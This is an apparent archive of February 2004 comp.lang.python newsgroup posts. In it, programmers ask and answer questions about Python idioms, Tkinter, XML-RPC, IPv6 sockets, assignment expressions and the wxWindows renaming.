Date: Fri, 27 Feb 2004 17:11:20 -0800
Subject: Python as replacement for PHP?
References: <403fa54b@news.zianet.com>
Message-ID: <ke65h1-f3s.ln1@home.rogerbinns.com>

>     So, I'm hoping there are some people out there that actually have some
> expereience with both Python & PHP and can give me some solid, informed
> advice about PHP vs. Python,

My approach is to use PHP with the Smarty templating system for the
web front end.  All program logic and "heavy" lifting (and even
the light lifting) is done by a backend Python program accessed
via XML-RPC.  That lets me use each language for what it is best
and most productive at.

Testing is easier since you can do it via XML-RPC.

Roger




From nir1408 at hotmail.com  Sun Feb 22 16:51:18 2004
From: nir1408 at hotmail.com (Ziaran)
Date: Sun, 22 Feb 2004 23:51:18 +0200
Subject: Where can I post a new debugger?
References: <mailman.160.1077453987.27104.python-list@python.org>
	<6ee58e07.0402221348.46171b05@posting.google.com>
Message-ID: <40392479@news.bezeqint.net>

http://ziaran.freehosting.net/

"Lothar Scholz" <llothar at web.de> wrote in message
news:6ee58e07.0402221348.46171b05 at posting.google.com...
> "Ziaran _" <nir1408 at hotmail.com> wrote in message
news:<mailman.160.1077453987.27104.python-list at python.org>...
> > I have written a new debugger.
> > I think people will find it useful.
> > Where can I post it for people to download?
>
> What is so different from the existing ones ?




From ir4u4 at yahoo.com  Mon Feb  2 21:01:06 2004
From: ir4u4 at yahoo.com (Equis Uno)
Date: 2 Feb 2004 18:01:06 -0800
Subject: How do I overload 'equals'?
References: <692feddd.0402020252.7c1abcb@posting.google.com>	<bvlcnc$to62d$1@ID-198792.news.uni-berlin.de>
	<mailman.1121.1075723615.12720.python-list@python.org>
	<692feddd.0402021057.6ddbc5f4@posting.google.com>
	<bvmanb$2o7$05$1@news.t-online.com>
Message-ID: <692feddd.0402021801.2605d14c@posting.google.com>

Diez,

your info about the 'multimethod-dispatch House Assigner' is kewl.
It's not what I'm currently looking for but I may in the future.

I have no use case.

My motivation is to learn about the limitations and capability of Python.

We could call it a useless case.

I suspect that building an operator with un-obvious side effects
is bad programming style.

It's better to just use a simple function to do the assignment:
aHouse = superAssign (myHouse)

If I want to know what superAssign() does, I go read it.

I'd still like to build an arbitrary operator though.

-moi


"Diez B. Roggisch" <deets_noospaam at web.de> wrote in message news:<bvmanb$2o7$05$1 at news.t-online.com>...
> > aHouse = makeAhouse()
> > aHouse superAssign myHouse # use the superAssign operator
> > 
> > to fill aHouse with all the objects inside myHouse
> > and then call an arbitray method:
> > myHouse.log('aHouse has a copy of your stuff')
> > 
> > Is this possible?
> 
> First of all, write the operator as simple function with two arguments, your
> aHouse and myHouse:
> 
> def init_house(aHouse, myHouse):
>   aHouse.inhabitants = myHouse.inhabintants
>   ....
> 
> Now if you actually have different functions, depending on the actual types
> you use, you could go for multimethod-dispatch and create a HouseAssigner
> like this:
> 
> class HouseAssigner(multimethods.Dispatch):
>     def __init__(self):
>         multimethods.Dispatch.__init__(_)
>         _.add_rule((AHouse, MyHouse), _.init_house)
> 
> I assumed that aHouse is of tpye AHouse, and myHouse of MyHouse
> 
> Now you can create an instance of HouseAssigner and use that to perform the
> actual assignment:
> 
> ha = HousAssigner()
> ha(aHouse, myHouse)
> 
> Now for the operator-stuff: My c++-skills are somewhat rusted (something I'm
> not sure if to be glad of or not), so I don't remember how to exactly
> declare a custom assignment-operator. 
> 
> However, I think that you are after a thing here that I personally would
> consider as bad style: Usually, polymorphism is used to write code that is
> not interested in details of some actual object, but works on abstract
> concepts. An example would be a ParkController working on Car-objects, but
> you feed it with Porsche, Mercedes and BMW-objects (which inherit from Car,
> of course). Still the actual car knows about its unique features.
> 
> Introducing an assignment operator like you want it to have now acutally
> performs willingly a slicing-operation - the object forgots something about
> what its capable/consisting of. I don't see any reason for that - it might
> even lead to severe problems, as accidential slicing in c++ does.
> 
> So - maybe you could fill in what actual use-case you have for such a
> behaviour.
> 
> Another thing to mention might be that assignment in python is different
> from assignment in C/C++: 
> 
> c = Car()
> 
> only means that the identifier c now points to an instance of Car - not that
> c is of type car. So in the next line, you could say:
> 
> c = 10
> 
> Others have explained that behaviour better, you might find informations in
> the documentation.
> 
> Regards,
> 
> Diez


From usenet at mail-2-me.com  Fri Feb  6 09:57:11 2004
From: usenet at mail-2-me.com (Dirk Hagemann)
Date: Fri, 06 Feb 2004 15:57:11 +0100
Subject: new newbie
In-Reply-To: <UJNUb.10836$213.5980@edtnps89>
References: <UJNUb.10836$213.5980@edtnps89>
Message-ID: <c00a07$pmn$06$2@news.t-online.com>

not_yet wrote:
> new to python and linux
> 
> how do I start idle?
> 
> using Fedora / Python2.2
> 
> thanks
Look for the posting "Best Beginner's Guide To Python?" a few messages 
before yours. May it can answer your question too.

Dirk


From jcarlson at nospam.uci.edu  Sat Feb 28 22:38:47 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sat, 28 Feb 2004 19:38:47 -0800
Subject: Some language proposals.
In-Reply-To: <tyfvfltaqkb.fsf@pcepsft001.cern.ch>
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
	<c1iuj5$7q3$1@panix1.panix.com>
	<tyfoermmgp7.fsf@pcepsft001.cern.ch>
	<c1l1au$nn4$1@panix1.panix.com>
	<tyfvfltaqkb.fsf@pcepsft001.cern.ch>
Message-ID: <c1rn19$p6r$1@news.service.uci.edu>

>>class Callable:
>>    def __call__(self):
>>        print "!"
>>
>>class C:
>>    def __init__(self):
>>        self.foo = Callable()
>>
>>C().foo()
>>
>>Now tell me why this doesn't do what you want.
> 
> 
> Because
> 
> 
>>>>C.foo
> 
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> AttributeError: class C has no attribute 'foo'
> 
> for a start.

Perhaps you want the below.  You seem to be interested in doing things 
with classes and not instances.

class Callable:
     def __call__(self):
         print "!"

class C:
     foo = Callable()

  - Josiah


From schofield at ftw.at  Mon Feb  9 10:46:41 2004
From: schofield at ftw.at (Ed Schofield)
Date: Mon, 9 Feb 2004 16:46:41 +0100
Subject: Reference gotcha
Message-ID: <200402091646.41448.schofield@ftw.at>

Hi all,
This interested me:

>>> a1 = a2 = {}
>>> a1['blah'] = 1
>>> a2
{'blah': 1}
>>> a1 == a2
True


Whereas ...


>>> b1 = b2 = 0
>>> b1 += 1
>>> b2
0
>>> b1 == b2
False

So how should one create a robust alias for a numeric type?

This bit me when I was trying to do the following in a class:
	def __init__(self, data):
		a = self.a = {}
		b = self.b = {}
		c = self.c = 0

		# and increment them here ...

Best regards,
Ed Schofield




From jepler at unpythonic.net  Mon Feb  9 11:40:37 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 9 Feb 2004 10:40:37 -0600
Subject: stat doesn't work!
In-Reply-To: <c08bdn$fq6$1@sunnews.cern.ch>
References: <c08bdn$fq6$1@sunnews.cern.ch>
Message-ID: <20040209164037.GM1330@unpythonic.net>

On Mon, Feb 09, 2004 at 05:10:31PM +0100, Paulo Pinto wrote:
> I am doing an application that needs to
> know when it is manipulating symbolic links.

try os.lstat.

>>> import os
>>> from stat import *
>>> S_ISLNK(os.stat("/proc/self").st_mode)
0
>>> S_ISLNK(os.lstat("/proc/self").st_mode)
1

Jeff



From a at b.c  Thu Feb 26 14:11:11 2004
From: a at b.c (mike p.)
Date: Thu, 26 Feb 2004 14:11:11 -0500
Subject: naming convention for functions that mutate their arguments?
Message-ID: <c1lgcf$m00$1@aplcore.jhuapl.edu>

Hi all,

I was wondering if there was any official/recommended way to denote that a
Python function may mutate one or more of its arguments?  I took a glance at
PEP 8, but didn't see anything along these lines.  A google search turned up
something similar (
http://aspn.activestate.com/ASPN/Mail/Message/1457714) but I didn't run
across a resolution.

Thanks!
mike





From http  Tue Feb 17 15:01:29 2004
From: http (Paul Rubin)
Date: 17 Feb 2004 12:01:29 -0800
Subject: How do make a function that creates a sequence of n random
	numbers?
References: <8e3e8c6c.0402171124.1183350c@posting.google.com>
Message-ID: <7xlln1cw6e.fsf@ruckus.brouhaha.com>

shivermetimbers15 at yahoo.com (shivermetimbers15) writes:
> I'm new to Python, as you can tell, and I'm interested in how to do this.

What other languages do you use and what do you want the random
numbers for?  That might be of some help in understanding what level
to answer your question at.

The simplest answer is something like

   import random    # load python's random number module
   seq = [random.random() for i in xrange(n)]  # generate sequence of length n

but that may not be what you want.


From bdesth.quelquechose at free.quelquepart.fr  Wed Feb  4 13:57:19 2004
From: bdesth.quelquechose at free.quelquepart.fr (Bruno Desthuilliers)
Date: Wed, 04 Feb 2004 19:57:19 +0100
Subject: an ingrate newbie complains
In-Reply-To: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
References: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
Message-ID: <40213b7b$0$273$636a15ce@news.free.fr>

Elaine Jackson wrote:
> I have some minor complaints about the Python language, and I'm interested to
> know how other people feel about them. Here they are:
> 
> 1) I find the following behavior puzzling and disappointing:
> 
> 
>>>>X=[(1,1),(2,4),(3,9),(4,16),(5,25)]
>>>>Y=dict(X)
>>>>Z=list(Y)
>>>>Z==X
> 
> False
> 
>>>>Z==Y.keys()
> 
> True

If you iterate over a dict, you in fact iterate over the keys (which 
makes perfect sens ihmo, just think of the cases where you would iterate 
over a dict...). Now if you read the doc for the list() constructor, 
you'll see that it takes either a sequence or an iterable. Since a dict 
is not a sequence, but an iterable, with a defined behavior, I don't see 
anything puzzling nor disappointing here

> 2) How come you can't write...
> 
> if y = f(x) > 3:
>     <do a bunch of things with x and y>
> 
> ...as an equivalent of...
> 
> y = f(x)
> if y > 3:
>     <do a bunch of things with x and y>
> 
> ...?

In C, an assignement *is* an expression, and this leads to

1/ a very common bug, ie :
char *buf = malloc(100);
if (buf = NULL) {
    /* some error code here */
}

2/ hardly readable code, ie:
char *buf;
if ((buf = malloc(100)) != NULL) {
    /* proceed with buf */
}

The BDFL designed Python to have a clear, readable, and as less 
error-prone syntax as possible.

> That kind of syntax would be especially welcome in list comprehensions:
> 
> [f(x,y) for x in list if y=g(x)<=0]
> 
> If g(x) is a fairly complicated expression, and y occurs several times in
> f(x,y), considerable clarity could be gained.
> 

if g(x) is a fairly complicated expression, you'd better stick with the 
common idiom anyway :

result = []
for x in thelist: #BTW, dont use 'list' as an identifier
     y = g(x)
     if y <= 0:
         result.append(f(x, y))

Now I must confess that I'd sometime like to have assignement as 
expressions too. But one particular feature of dictatorship is that the 
dictator dictates !-)

My 2 cents



From paschen at mavd.de  Thu Feb  5 09:09:34 2004
From: paschen at mavd.de (Bjoern Paschen)
Date: Thu, 05 Feb 2004 15:09:34 +0100
Subject: Print function and spaces
References: <mailman.1237.1075981181.12720.python-list@python.org>
Message-ID: <pan.2004.02.05.14.09.33.415528@mavd.de>

On Thu, 05 Feb 2004 11:38:26 +0000, Dan Williams wrote:

> Is there a good way to stop the space being automatically generated, or am I
> going to have to write a blank string to standard output, like the manual
> mentions?
I don't know if these are good ways, but i found this information about
the topic on google:
http://www-106.ibm.com/developerworks/library/l-python101.html?dwzone=ws
 "The part about concatenation is important here"

http://www.faqts.com/knowledge_base/view.phtml/aid/4465
 "How to turn off the automatic space completely"

and i tried to implement the concatenation part into a small function
(beware as i am new to python too ;)):

---snip----
#/usr/bin/env python

def PrintWithoutSpaces(*args):
    output = ""
    for i in args:
        output = output + i
        
    print output
    

if __name__ == "__main__":
    PrintWithoutSpaces("yo", "hello", "gutentag")
---snip----

this prints "yohellogutentag"

-- 
_________________________________________________________________
Bjoern Paschen         ._--_. Panasonic AVC Networks Germany GmbH
paschen at mavd.de          --   Audio Video Technology Centre




From cwazir at yahoo.com  Sat Feb 14 20:25:01 2004
From: cwazir at yahoo.com (Chirag Wazir)
Date: 14 Feb 2004 17:25:01 -0800
Subject: Beginners list of Python donloads - please review
References: <TupXb.39481$Bb.333441@twister.tampabay.rr.com>
Message-ID: <79c178a9.0402141725.eaed474@posting.google.com>

"Will" <wstandley at netpv.com> wrote:
> I running Windows XP Pro and wanted to download Python and any additional
> tools I should consider using as I get going...
> .....
> Please suggest additions or deletions.

If you're doing anything at all with images you will probably need:
The Python Imaging Library - http://www.pythonware.com/products/pil/

And yes, the Python docs are included in the Windows distribution as a
CHM file - you only need to download them separately if you need HTML
or PDF.

--

Chirag Wazir
http://chirag.freeshell.org


From itsmikeytime at yahooNOSPAM.com  Tue Feb 24 11:09:08 2004
From: itsmikeytime at yahooNOSPAM.com (Mikey At Work)
Date: Tue, 24 Feb 2004 11:09:08 -0500
Subject: Python HTML Documentation Generators
Message-ID: <c1fsv5$2of$1@news-int2.gatech.edu>

I'm looking for opinions on the several HTML documentation generators
available for Python.  We're trying to standardize the documentaion used for
an upcoming project.  Specifically, I'm looking for something very similar
to Javadoc in both output and syntax (because most of our team members are
very familiar with Javadoc).

I've pretty much narrowed it to either PythonDoc or epydoc, but wanted to
ask the newsgroup's opinion before making a final decision.  Any experiences
(good or bad) with either of these programs?  What are your opinions on
documentation through docstrings vs documentation through comments?  Thanks
in advance.

--
Mike




From paul at boddie.net  Wed Feb 25 05:27:47 2004
From: paul at boddie.net (Paul Boddie)
Date: 25 Feb 2004 02:27:47 -0800
Subject: wxWindows changes name
References: <slrnc3lhvi.19b.bignose-hates-spam@rose.localdomain.fake><480m30hd68ncg81if70n81h8tict03oda3@4ax.com>	<wzy8qsfqe6.fsf@ordesa.cs.uu.nl>
	<mailman.57.1077648520.8594.python-list@python.org>
Message-ID: <23891c90.0402250227.7d07849f@posting.google.com>

"Terry Reedy" <tjreedy at udel.edu> wrote in message news:<mailman.57.1077648520.8594.python-list at python.org>...
> "Piet van Oostrum" <piet at cs.uu.nl> wrote in message
> news:wzy8qsfqe6.fsf at ordesa.cs.uu.nl...
> 
> > So what will happen to the X Window system, often referred to as
> > XWindows.

For the nth time, it isn't referred to as XWindows in any official or
meaningful sense.

> Isn't there a consortium or something, with much more resources ($$$) to
> fight than Julian and Robin have?

Yes, it's called Sun Microsystems who used the OpenWindows name ages
ago:

  http://step.polymtl.ca/~coyote/open-look/01-general/faq-doc-1.html

I guess Microsoft aren't up for yet more protracted legal action
involving Sun, so they go for the small guy instead.

[...]

> It is a complement to Julian and Robin that MS noticed them enough to
> threaten and negotiate with them.  Also that they did not just cave but
> negotiated a 6 month transition period and $ for transition costs.

Microsoft deserves no compliments whatsoever. This is just a case of a
company blatantly misusing a generic term which they've been told they
can't even enforce as a trademark in the United States, surfing
different legal systems in order to find places where they can carry
out acts reminiscent of extortion on legitimate activities and
businesses, and then bullying small outfits who can't afford to argue
for any substantial period of lawyer time.

For once, the United States is actually a beacon of sanity in all
this. There's Lindows being issued with injunctions all over the
planet for the use of a name which resembles Windows; there's the
bloke behind Mobilix being forced to change his site's name to
TuxMobil because the publishers of Asterix think they own every name
ending with "ix". The only positive thing about the former case is
that Michael Robertson seems to know enough about public relations to
make every aggressive move by Microsoft an embarrassment for them
whilst raising the profile of his own business.

So, how is it a compliment that a corporation waits several years
before jumping on an now-established project whose name doesn't really
infringe on any reasonable trademark? How does threatening behaviour
deserve any compliment whatsoever?

Paul


From steve at ferg.org  Wed Feb  4 12:06:14 2004
From: steve at ferg.org (Stephen Ferg)
Date: 4 Feb 2004 09:06:14 -0800
Subject: newbie with a gui question
References: <1020nse8569lr70@corp.supernews.com>
Message-ID: <b16e4ef7.0402040906.6f27e79e@posting.google.com>

You need easygui

http://www.ferg.org/easygui/index.html


From brett at python.org  Wed Feb 25 20:18:36 2004
From: brett at python.org (Brett C.)
Date: 25 Feb 2004 17:18:36 -0800
Subject: python-dev Summary for 2004-01-01 through 2004-01-31
References: <mailman.19.1077587431.8594.python-list@python.org>
	<dOD_b.73966$Wa.29376@news-server.bigpond.net.au>
	<m3ishwhdb3.fsf@pc150.maths.bris.ac.uk>
Message-ID: <8ab0589d.0402251718.5b728a3@posting.google.com>

Michael Hudson <mwh at python.net> wrote in message news:<m3ishwhdb3.fsf at pc150.maths.bris.ac.uk>...
> "Neil Hodgson" <nhodgson at bigpond.net.au> writes:
> 
> > Brett C.:
> > 
> > > --------------------------
> > > Shutting Unicode errors up
> > > --------------------------
> > > Enough people have asked for the ability to silence Unicode errors that
> > > Martin v. L??wis suggested adding a module attribute in sys to specify
> > > whether Unicode errors should be ignored or not.
> > 
> >    It is particularly appropriate that this item should exhibit a character
> > encoding problem. I'm sure Martin doesn't have any characters that weird
> > (square root,  partial differential) in his name. Something is wrong in the
> > tool chain, but it doesn't look like a simple incorrect charset declaration.
> > Maybe reST has a problem with non-ASCII characters.
> 
> Um, the article as posted to clpy is hasn't been through docutils
> yet... if the mere fact of formatting it as reST caused encoding
> problems, that would indeed be a mysterious and deep effect.
> 
> Brett's mail contains a header:
> 
> X-MIME-Autoconverted: from 8bit to quoted-printable by
> 	war.OCF.Berkeley.EDU id i1O1oOqk029956
> 
> I'd be inclined to blame that.
>

So would I.  =)  Damn it, that is upsetting.  I save the text in UTF-8
and reST handles it fine (as Michael points out below, it shows up
find in the HTML version).  Aahz has suggested using another SMTP
server for sending out the Summary, but that is a pain in the rear.

Then again I don't love butchering Martin's last name every summary
(and his is pretty much the only consistent reason for worrying about
Unicode).
 
> The summary looks fine on python.org.

I suggest using the HTML version if you want really nice formatting
and hyperlinks and there are less funky formatting issues thanks to
news or mail readers.

-Brett


From michael at foord.net  Fri Feb 27 03:11:41 2004
From: michael at foord.net (Fuzzyman)
Date: 27 Feb 2004 00:11:41 -0800
Subject: Taking Over the Screen - Tkinter
References: <8089854e.0402260131.3a3ad7b0@posting.google.com>
	<c1kfb2$4dl$1@news-reader3.wanadoo.fr>
Message-ID: <8089854e.0402270011.307b11b7@posting.google.com>

Eric Brunel <eric.brunel at N0SP4M.com> wrote in message news:<c1kfb2$4dl$1 at news-reader3.wanadoo.fr>...
> Fuzzyman wrote:
> > I'm working on a presentation program that needs to produce 'full
> > screen' images.
> > 
> > The effect will be something like a powerpoint presentation.
> > In actual fact it's a song database with lyrics - and each 'screen'
> > will need a widget for next verse, previous verse, chorus etc..... so
> > what I'd really like is a Tk text widget that is full screen sized.
> > 
> > (For the moment I'll just use a large window - most of the work will
> > be in building the interface to the database).
> > 
> > How do I either -
> > 
> > 1) Produce a borderless full screen window *or*
> > 2) Detect the window size
> > 
> > using Tkinter pereferably................
> > 
> > 
> > Thanks,
> > 
> > Fuzzy
> > 
> > http://www.voidspace.org.uk/atlantibots/pythonutils.html
> 
> To produce a borderless window: method overrideredirect on Toplevel's; this 
> makes the window manager (if that has any meaning on your platform) ignore the 
> window, so it doesn't draw any decorations.
> 
> To get the size of the screen: methods winfo_screenwidth and winfo_screenheight 
> on any Tkinter object.
> 
> To resize your window: method geometry on Toplevel's; the geometry is encoded in 
> a string with the format "WxH+X+Y", so you'll want:
> "%sx%s+0+0" % (w.winfo_screenwidth(), w.winfo_screenheight())
> 
> You may also have to explicitely call the method tkraise on your borderless 
> window on Windows, because such windows have a tendency to appear below all 
> other ones.
> 
> HTH

Thanks very much - that's exactly the help I needed, much appreciated.

Fuzzy

http://www.voidspace.org.uk/atlantibots/pythonutils.html


From sarmin_kho at yahoo.com  Sat Feb 21 04:45:21 2004
From: sarmin_kho at yahoo.com (sarmin kho)
Date: Sat, 21 Feb 2004 01:45:21 -0800 (PST)
Subject: thread already started...
Message-ID: <20040221094521.3295.qmail@web9805.mail.yahoo.com>

Hi Pythoners...
 
I am building a python GUI with wxpython... the python GUI will periodically call a python module written on python 2.2... wxtimer is used to enable the periodic call...  it works fine when i first run the wxtimer to periodically call the python module... the problem arises when i stop the wxtimer and restart the wxtimer (restart calling periodically)... 
 
It says : "thread already started"... the python module i called is written by other programmer and threads must have been started somewhere in the python module... if i exit from the python GUI, all threads will be stopped... 
 
i suppose the quick solution is to stop all threads when the wxtimer is stopped... 
 
ANY IDEA ON HOW TO STOP ALL THREADS INDEFINITELY WITHOUT CLOSING THE GUI??... python command 'sys.exit()' will exit from my main running code (the python GUI)...
 
Many thanks to Pythoners... I have just been introduced to python few months ago and i have now fallen in love with it...
 
regards
sarmin


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From beliavsky at aol.com  Wed Feb 11 11:43:06 2004
From: beliavsky at aol.com (beliavsky at aol.com)
Date: 11 Feb 2004 08:43:06 -0800
Subject: create Python "make" file
Message-ID: <3064b51d.0402110843.1f562e90@posting.google.com>

I know that you do not need a make file to run a Python program -- it
looks for the needed sources files in the working directory and in
directories in the path. But it is convenient to know what Python
source files a program uses, if you want to back up a program or send
it to a colleague.

Has anyone written a Python tool that looks at all the Python source
files in a directory and constructs lists of sources, each of which
comprises a program?


From paul at prescod.net  Thu Feb 12 05:12:50 2004
From: paul at prescod.net (Paul Prescod)
Date: Thu, 12 Feb 2004 02:12:50 -0800
Subject: Allowing non-ASCII identifiers
In-Reply-To: <71DFC036-5CEB-11D8-BF04-0003934ACDEC@zdome.net>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net><4027EAC5.2090603@prescod.net>	<402806A4.6020502@v.loewis.de>	<mailman.1391.1076369629.12720.python-list@python.org>	<102geglh6cprm45@news.supernews.com>
	<4029177e$1@nntp0.pdx.net>
	<71DFC036-5CEB-11D8-BF04-0003934ACDEC@zdome.net>
Message-ID: <402B51A2.8090009@prescod.net>

Dietrich Epp wrote:

> 
> I personally think that Unicode identifiers would be catastrophic.  

This is an overstatement. One of the great things about Python is that 
it borrows from other langauges. VB and C# for sure and I think Java 
allow non-ASCII identifiers and there was no catastrophe. VB has its 
problems but Unicode identifiers is not a big one.

I am +0 on this proposal because I really doubt it will cause me big 
problems and at least some foreign language speakers claim it will make 
their lives much easier. If they post to c.l.py asking for help with 
code I can't read I'll tell them I can't read it. If they write 
extension modules I can't use I'll just ask them to put an ASCII API 
alongside their Unicode one (language is likely to be a bigger 
readability problem than encoding anyhow)

  Paul Prescod





From grelens at NOSPAMyahoo.NOTNEEDEDfr  Mon Feb  9 09:05:22 2004
From: grelens at NOSPAMyahoo.NOTNEEDEDfr (GrelEns)
Date: Mon, 9 Feb 2004 15:05:22 +0100
Subject: get a list of available encodings ?
Message-ID: <4027920e$0$28641$626a14ce@news.free.fr>

hello,

is there a way from a python program to get the table below as a list or a
dict ? http://www.python.org/doc/current/lib/node127.html

thanks.




From http  Wed Feb 18 16:33:34 2004
From: http (Paul Rubin)
Date: 18 Feb 2004 13:33:34 -0800
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
	<4033084D.1AEA1ADA@alcyone.com>
	<7xwu6khofz.fsf@ruckus.brouhaha.com>
	<cfKYb.44192$hR.1014416@bgtnsc05-news.ops.worldnet.att.net>
	<mailman.29.1077136563.27104.python-list@python.org>
Message-ID: <7x7jyk2hu9.fsf@ruckus.brouhaha.com>

Gerrit <gerrit at nl.linux.org> writes:
> > >     while (line := inputFile.readline()):
> > >         ...
> > > a lot better.
> 
> I disagree. I think it's counter-intuitive to have an assignment inside
> an expression. Assignments should be statements. Explicit is better than
> implicit. 

There's nothing implicit about an assignment expression.

> What problem would this solve? And why the ':'?

It solves the problem illustrated in that particular example of the
proposed new loop construction.  The := is because one of the commonly
heard objections to assigmnent expressions is that people occasionally
type "if (x = y) ..." when they meant "if (x == y)", so there's a fear
that introducing assignment expressions with just "=" will cause a lot
of program bugs.  With the colon, "if (x = y) ..." is still a syntax error.


From rogerb at rogerbinns.com  Mon Feb 23 18:55:08 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Mon, 23 Feb 2004 15:55:08 -0800
Subject: xmlprclib/server not reusing connections
References: <spv8g1-fev.ln1@home.rogerbinns.com>
	<mailman.6.1077573113.8594.python-list@python.org>
Message-ID: <nfgqg1-gh4.ln1@home.rogerbinns.com>

> Connection reuse would be done at a lower level I think.  Take a look at the
> httplib module.  Take a look at xmlrpclib's MultiCall class for another way
> to improve performance in some situations.


multicall is of no use to me because my following requests depend on the results
of the preceding ones.  SSL is really important since the traffic is going
over the open Internet.  I needed to do some certificate validation which
the Python 2.3 library has no facilities for.

On the server side, things were hopeless as well.  Since it would be
listening on the open Internet, and had to work on Windows as well as
Linux and Mac, the threading server initially seemed appealing, but
sadly it has no facilities for limiting the number of threads spawned.
It also makes a new thread per request, rather than the more normal
design of having a thread pool to deal with requests/connections.

xmlrpclib is coded to use the Python 1.5 compatible names (and lack of
HTTP/1.1 and persistent connections).  SimpleXMLRPCRequestHandler is
hard-coded to close connections after one request (see last line of
do_POST).  The M2Crypto code that added SSL to both inherited those
implementations and design.

Basically the existing xmlrpclib and SimpleXMLRPCServer are hard coded
(and IMHO go out of their way) to do one request per connection, and
then shut things down.  Throw in that I needed to do SSL on both ends, with
HTTP authentication, and some "light" firewalling in order to prevent
DOS attacks, I had to spend several days mashing the various classes
together with M2Crypto together.

You can see the results here:

http://cvs.sf.net/viewcvs.py/bitpim/bitpim/bitfling/xmlrpcstuff.py?view=markup

Roger




From bignose-hates-spam at and-benfinney-does-too.id.au  Wed Feb 18 22:28:06 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 19 Feb 2004 14:18:06 +1050
Subject: How can I waste time ?
References: <282f826a.0402181935.2757359f@posting.google.com>
Message-ID: <slrnc38cfm.8hq.bignose-hates-spam@iris.polar.local>

On 18 Feb 2004 19:35:55 -0800, Richard Shea wrote:
> I want my script to pause for a pre-determined number of seconds. How
> do you do that ?

What you want is to send your application to sleep for a specified time.

    <http://www.python.org/doc/lib/module-time.html#l2h-1763>

-- 
 \      "I went to a garage sale. 'How much for the garage?' 'It's not |
  `\                                     for sale.'"  -- Steven Wright |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From bokr at oz.net  Sat Feb 28 13:55:32 2004
From: bokr at oz.net (Bengt Richter)
Date: 28 Feb 2004 18:55:32 GMT
Subject: Feature request: subclassing FunctionType [Was: Some language
	proposals]
References: <95aa1afa.0402262158.5b33de79@posting.google.com>
Message-ID: <c1qo74$s9j$0@216.39.172.122>

On 26 Feb 2004 21:58:41 -0800, michele.simionato at poste.it (Michele Simionato) wrote:
[...]
>a real object. On the other hand, I am really bothered by the scoping
>rules. My first post on this mailing list some time ago was caused by
>problems I had with the surprising scope rules. Take for instance
>this example:
>
>def make_adders(n):
>    return [(lambda x: x+i) for i in range(n)]
>
>add0,add1=make_adders(2)
>
>print add0(0) #=> 1
>print add1(0) #=> 1
>
>This does not work as expected, and the solution is an ugly hack
>with default arguments:

I got misled by those near-each-other i's too, but though they both mean use-the-x-binding-in-
a-particular-environment, the use is not at the same time. The code from the lambda
expression evaluation does not look for i until it gets executed at some future time that could be
arbitrarily long after the list comprehension is done with its i-value side effect in the local
namespace of make_adders.

I agree it is easy to make the wrong assumption, with those i's seemingly in the
same expression context, but what should be the expectation? I think the problem is that
lambda x: x+i is a lambda expression, that results in a function, but the i is a name,
not a value in the context of the lambda expression per se. Thus the result is
code that looks for the value of a name someplace, not code that refers to a
specific value. If you want the name lookup to find different values, you must
provide different name bindings, which you don't get in the single closure
reflecting the environment of the list comprehension in make_adders above.

But you can generate multiple closures with separate values
(which maybe your scheme code really is doing?):

 >>> def make_separate_adders(n):
 ...     return [(lambda sepval: lambda x: x + sepval)(i) for i in range(n)]
 ...
 >>> add0, add1 = make_separate_adders(2)
 >>> print add0(0)
 0
 >>> print add1(0)
 1

Here the lambda being _executed_ as well as _evaluated_ in the list comprehension provides
the closure environment for the lambda expression only being _evaluated_ (inside the one
being executed, to generate code looking for sepval). UIAM ;-)

[...]

I think having function instances be first-class instances of a first-class function class would
be a unifying move. (First-class class sounds funny) I wonder if we can integrate the creation
of generators and coroutines (and even threads?) nicely in that, in some hierarchy. I'd like to
think about that some, but no time for now. Ciao ;-)

Regards,
Bengt Richter


From erno-news at erno.iki.fi  Tue Feb 17 15:08:12 2004
From: erno-news at erno.iki.fi (Erno Kuusela)
Date: 17 Feb 2004 22:08:12 +0200
Subject: IPv6 question
References: <9r14g1-1vu.ln1@neon.jbmail.com> <uh24g1-40v.ln1@neon.jbmail.com>
	<c0oc6j$592$01$1@news.t-online.com>
	<hjq4g1-1c1.ln1@neon.jbmail.com>
	<c0oiqv$knm$00$1@news.t-online.com>
	<t6n7g1-oj4.ln1@neon.jbmail.com>
Message-ID: <gu465e5lb9v.fsf@ee.oulu.fi>

"John Burton" <john.burton at jbmail.com> writes:

> Thanks for this it seems to work well.
> It does seem that on windows you need to bind different sockets to the same
> address,
> one for IPv4 and one for IPv6 whereas on linux the IPv6 socket will receive
> connections to both.
> 
> I suppose that's not a big problem but a shame.

you can control this using the IPV6_V6ONLY socket option, like so:

  s.setsockopt(socket.IPPROTO_IPV6, socket.IPV6_V6ONLY, 0)

unfortunately python 2.3.3 doesn't yet make that constant available
though it is fixed in cvs. you could glean the value from the headers.

the default setting has been in flux on various platforms recently,
all the more reason to want to always set it explicitly...

  -- erno


From alanmk at hotmail.com  Wed Feb 11 14:39:43 2004
From: alanmk at hotmail.com (Alan Kennedy)
Date: Wed, 11 Feb 2004 19:39:43 +0000
Subject: package similar to XML::Simple
References: <mailman.1428.1076438817.12720.python-list@python.org>
	<402931E4.C1E50E92@engcorp.com> <c0beqb$2uv$00$1@news.t-online.com>
	<40294322.7AF2C6D7@engcorp.com> <c0bh63$jp2$05$1@news.t-online.com>
	<40294D36.B0AEE3C4@engcorp.com> <c0do15$tge$02$1@news.t-online.com>
	<402A69C2.FC8DABA@engcorp.com>
Message-ID: <402A84FF.42CCB137@hotmail.com>

[Martin v. L?wis]
>>>> If a parser prints a message "not a valid 8-bit XML character", 
>>>> then it can't be an XML parser. XML does not have a notion even
>>>> remotely related to "8-bit characters".

[Peter Hansen]
>>> Aren't we talking about semantics now, and rather tritely at that?

[Martin v. L?wis]
>> Not at all. This message indicates a lack of understanding of basic
>> principles of XML on the side of the authors of this error message.

